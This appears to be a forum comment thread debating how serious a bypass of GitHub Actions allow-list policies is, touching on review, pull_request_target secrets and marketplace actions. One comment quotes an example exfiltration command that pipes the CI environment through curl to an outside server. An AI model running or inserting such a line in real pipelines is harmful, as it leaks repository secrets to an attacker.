4 ms·

That the policy can be "bypassed" by a code change doesn't seem so severe. If you are not reviewing changes to your CI/CD workflows all hope is lost. Your code

• internobody 1y ago
  It's not simply a matter of review; depending on your setup these bypasses could be run before anyone even has eyes on the changes if your CI is triggered on push or on PR creation.
  • rawling 1y ago
    But similarly, couldn't you just write harmful stuff straight into the action itself?
    • mystifyingpoi 1y ago
      You definitely could, but it is more nuanced than that. You really don't want to be seen doing `env | curl -X POST http://myserver.cn http://myserver.cn` in a company repository. But using a legitly named action doesn't look too suspicious.
  • jadamson 1y ago
    `pull_request_target` (which has access to secrets) runs in the context of the destination branch, so any malicious workflow would need to have already been committed. GitHub has a page on this: https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/ https://securitylab.github.com/resources/github-actions-prev...
• woodruffw 1y ago
  The point of the post is that review is varied in practice: if you’re a large organization you should be reviewing the code itself for changes, but I suspect many orgs aren’t tracking every action (and every version of every action) introduced in CI/CD changes. That’s what policies are useful for, and why bypasses are potentially dangerous. Or as an intuitive framing: if you can understand the value of branch protection and secret pushing policies for helping your junior engineers, the same holds for your CI/CD policies.
  • hiatus 1y ago
    The problem is not related to tracking every action or version in CI/CD changes. Right now, you can just curl a binary and run that. How is that any different from the exploit here? I guess people may have had a false sense of security if they had implemented those policies, but I would posit those people didn't really understand their CI/CD system if they thought those policies alone would prevent arbitrary code execution.
    • woodruffw 1y ago
      I think it's a difference in category; pulling random binaries from the Internet is obviously not good, but it's empirically mostly done in a pointwise manner. Actions on the other hand are pulled from a "marketplace", are subject to automatic bumps via things like Dependanbot and Renovate, can be silently rewritten thanks to tag mutability, etc. Clearly in an ideal world runners would be hermetic. But I think the presence of other sources of non-hermeticity doesn't justify a poorly implemented policy feature on GitHub's part.
• solumos 1y ago
  “We only allow actions published by our organization and reusable workflows” and “We only allow actions published by our organization and reusable workflows OR ones that are manually downloaded from an outside source” are very very different policies
  • hiatus 1y ago
    But there is no policy preventing external downloads in general, is there? I can curl a random script from a malicious website, too.